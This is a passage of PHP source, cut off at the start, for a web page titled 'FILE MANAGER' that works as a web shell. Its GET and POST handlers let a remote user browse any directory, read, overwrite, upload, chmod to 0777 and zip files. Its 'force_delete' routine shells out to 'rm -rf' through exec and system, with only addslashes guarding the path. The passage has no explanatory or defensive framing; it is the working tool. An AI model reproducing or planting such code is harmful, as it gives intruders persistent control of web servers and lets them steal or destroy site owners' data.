'; exit; } if (!isset($_SESSION['cwd'])) $_SESSION['cwd'] = getcwd(); // ========== FORCE DELETE - SUPER BRUTAL ========== function force_delete($path) { if (!file_exists($path)) return true; @chmod($path, 0777); if (is_dir($path)) { // System fallback if (function_exists('exec')) { exec('rm -rf "' . addslashes($path) . '" 2>&1', $o, $r); if ($r === 0 && !file_exists($path)) return true; } if (function_exists('system')) { system('rm -rf "' . addslashes($path) . '" 2>&1', $r); if ($r === 0 && !file_exists($path)) return true; } // Manual recursive $files = @scandir($path); if ($files) { foreach ($files as $f) { if ($f == '.' || $f == '..') continue; $p = $path . '/' . $f; @chmod($p, 0777); if (is_dir($p)) { force_delete($p); } else { @chmod($p, 0777); @unlink($p); if (file_exists($p)) { @file_put_contents($p, ''); @unlink($p); } } } } @chmod($path, 0777); @rmdir($path); // Last resort if (file_exists($path) && function_exists('exec')) { exec('rm -rf "' . addslashes($path) . '" 2>&1'); } return !file_exists($path); } else { @chmod($path, 0777); @unlink($path); if (file_exists($path)) { @file_put_contents($path, ''); @unlink($path); } return !file_exists($path); } } // Zip function function zip_create($src, $dest, $files) { if (!class_exists('ZipArchive')) return false; $zip = new ZipArchive(); if ($zip->open($dest, ZipArchive::CREATE) !== true) return false; foreach ($files as $f) { $p = $src . '/' . $f; if (is_file($p)) $zip->addFile($p, $f); elseif (is_dir($p)) { $zip->addEmptyDir($f); $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($it as $file) { $rel = str_replace($p . '/', '', $file->getPathname()); if ($file->isDir()) $zip->addEmptyDir($f . '/' . $rel); else $zip->addFile($file->getPathname(), $f . '/' . $rel); } } } return $zip->close(); } // ========== UNZIP MULTI-METHOD ========== function zip_extract($zip_path, $dest) { if (!is_dir($dest)) @mkdir($dest, 0777, true); if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zip_path) === true) { if ($zip->extractTo($dest)) { $zip->close(); return true; } $zip->close(); } } if (function_exists('exec') || function_exists('system')) { $cmd = 'unzip -o "' . $zip_path . '" -d "' . $dest . '" 2>&1'; shell_exec($cmd); if (file_exists($dest) && count(scandir($dest)) > 2) return true; } if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zip_path) === true) { for ($i = 0; $i < $zip->numFiles; $i++) { $stat = $zip->statIndex($i); $filename = $dest . '/' . $stat['name']; $dirname = dirname($filename); if (!is_dir($dirname)) @mkdir($dirname, 0777, true); if ($stat['size'] == 0) @mkdir($filename, 0777, true); else @file_put_contents($filename, $zip->getFromIndex($i)); } $zip->close(); return true; } } return false; } // AJAX Handler if (isset($_GET['ajax'])) { header('Content-Type: application/json'); $act = $_GET['ajax']; $res = array('ok' => false); if ($act == 'list') { $items = scandir($_SESSION['cwd']); $folders = array(); $files = array(); foreach ($items as $i) { if ($i == '.' || $i == '..') continue; $p = $_SESSION['cwd'] . '/' . $i; if (is_dir($p)) { $folders[] = array('n' => $i, 'w' => is_writable($p)); } else { $files[] = array('n' => $i, 's' => filesize($p), 'w' => is_writable($p)); } } $res = array('ok' => true, 'cwd' => $_SESSION['cwd'], 'f' => $folders, 'fs' => $files); } elseif ($act == 'cd') { $d = $_GET['d']; $nd = ($d[0]=='/')?$d:$_SESSION['cwd'].'/'.$d; if(is_dir($nd)) $_SESSION['cwd']=realpath($nd); $res=array('ok'=>true); } elseif ($act == 'del') { $f = $_SESSION['cwd'].'/'.$_GET['f']; force_delete($f); $res=array('ok'=>true); } elseif ($act == 'rmdir') { force_delete($_SESSION['cwd'].'/'.$_GET['f']); $res=array('ok'=>true); } elseif ($act == 'rename') { $o=$_SESSION['cwd'].'/'.$_GET['o']; $n=$_SESSION['cwd'].'/'.$_GET['n']; if(file_exists($o) && !file_exists($n)){@chmod($o,0777);@rename($o,$n);} $res=array('ok'=>true); } elseif ($act == 'chmod') { $t=$_SESSION['cwd'].'/'.$_GET['t']; if(file_exists($t)) @chmod($t,0777); $res=array('ok'=>true); } elseif ($act == 'mkdir') { $n=$_SESSION['cwd'].'/'.$_GET['n']; if(!is_dir($n)) @mkdir($n,0777,true); $res=array('ok'=>true); } elseif ($act == 'touch') { $n=$_SESSION['cwd'].'/'.$_GET['n']; if(!is_file($n)) @file_put_contents($n,''); $res=array('ok'=>true); } elseif ($act == 'load') { $f=$_SESSION['cwd'].'/'.$_GET['f']; if(is_file($f)) die(file_get_contents($f)); } elseif ($act == 'save') { $f=$_SESSION['cwd'].'/'.$_GET['f']; @chmod($f,0777); @file_put_contents($f, $_POST['c']); $res=array('ok'=>true); } elseif ($act == 'zip') { $f = json_decode($_GET['f'], true); $n = 'archive_'.date('ymd_His').'.zip'; zip_create($_SESSION['cwd'], $_SESSION['cwd'].'/'.$n, $f); $res=array('ok'=>true, 'n'=>$n); } elseif ($act == 'unzip') { $file = $_SESSION['cwd'] . '/' . $_GET['f']; $dest = isset($_GET['to']) ? $_SESSION['cwd'] . '/' . $_GET['to'] : dirname($file); if (is_file($file) && (pathinfo($file, PATHINFO_EXTENSION) == 'zip' || substr($file, -4) == '.zip')) { if (zip_extract($file, $dest)) { $res = array('ok' => true, 'msg' => 'Extracted to ' . $dest); } else { $res = array('ok' => false, 'msg' => 'Extract failed'); } } else { $res = array('ok' => false, 'msg' => 'Not a valid zip file'); } } echo json_encode($res); exit; } if (isset($_FILES['up'])) { $t = $_SESSION['cwd'] . '/' . basename($_FILES['up']['name']); move_uploaded_file($_FILES['up']['tmp_name'], $t); echo json_encode(array('ok'=>true)); exit; } if (isset($_GET['dl'])) { $f=$_SESSION['cwd'].'/'.$_GET['dl']; if(is_file($f)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); readfile($f); } exit; } ?> � FM

� FILE MANAGER

�

📤 Drag & drop files here or click to upload

� FOLDERS

NameWritableAction

📄 FILES

NameSizeWritableAction